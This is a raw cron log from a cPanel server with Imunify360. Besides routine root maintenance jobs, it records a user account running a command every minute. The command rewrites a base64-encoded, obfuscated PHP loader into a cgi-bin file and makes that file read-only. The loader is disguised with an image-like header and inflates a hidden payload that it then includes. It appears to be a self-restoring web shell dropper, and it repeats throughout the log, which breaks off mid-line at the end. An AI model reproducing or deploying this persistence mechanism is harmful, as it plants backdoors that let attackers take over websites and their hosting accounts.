Sep  2 17:56:01 server CROND[27393]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 17:56:01 server CROND[27394]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 17:56:01 server CROND[27395]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 17:57:01 server CROND[27773]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 17:57:01 server CROND[27774]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 17:57:01 server CROND[27772]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 17:57:01 server CROND[27775]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 17:58:01 server CROND[28142]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 17:58:01 server CROND[28141]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 17:58:01 server CROND[28143]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 17:59:01 server CROND[28526]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 17:59:01 server CROND[28527]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 17:59:01 server CROND[28528]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 17:59:01 server CROND[28526]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 17:59:01 server CROND[28527]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 17:59:01 server CROND[28528]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 17:59:01 server CROND[28528]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 18:00:01 server CROND[28919]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  2 18:00:01 server CROND[28916]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 18:00:01 server CROND[28915]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 18:00:01 server CROND[28918]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 18:00:01 server CROND[28917]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 18:00:01 server CROND[28920]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 18:00:01 server CROND[28924]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 18:00:01 server CROND[28923]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 18:00:01 server CROND[28927]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 18:00:01 server CROND[28926]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  2 18:01:01 server CROND[29873]: (root) CMD (run-parts /etc/cron.hourly)
Sep  2 18:01:01 server CROND[29875]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 18:01:01 server CROND[29876]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 18:01:01 server CROND[29874]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 18:01:01 server run-parts(/etc/cron.hourly)[29873]: starting 0anacron
Sep  2 18:01:01 server run-parts(/etc/cron.hourly)[29896]: finished 0anacron
Sep  2 18:02:01 server CROND[30256]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 18:02:01 server CROND[30257]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 18:02:01 server CROND[30258]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 18:03:01 server CROND[30642]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 18:03:01 server CROND[30644]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 18:03:01 server CROND[30645]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 18:04:01 server CROND[31016]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 18:04:01 server CROND[31017]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 18:04:01 server CROND[31018]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 18:05:01 server CROND[31393]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 18:05:01 server CROND[31396]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 18:05:01 server CROND[31395]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 18:05:01 server CROND[31398]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 18:05:01 server CROND[31397]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 18:05:01 server CROND[31399]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 18:05:01 server CROND[31403]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 18:05:01 server CROND[31400]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 18:06:01 server CROND[32236]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 18:06:01 server CROND[32237]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 18:06:01 server CROND[32238]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxc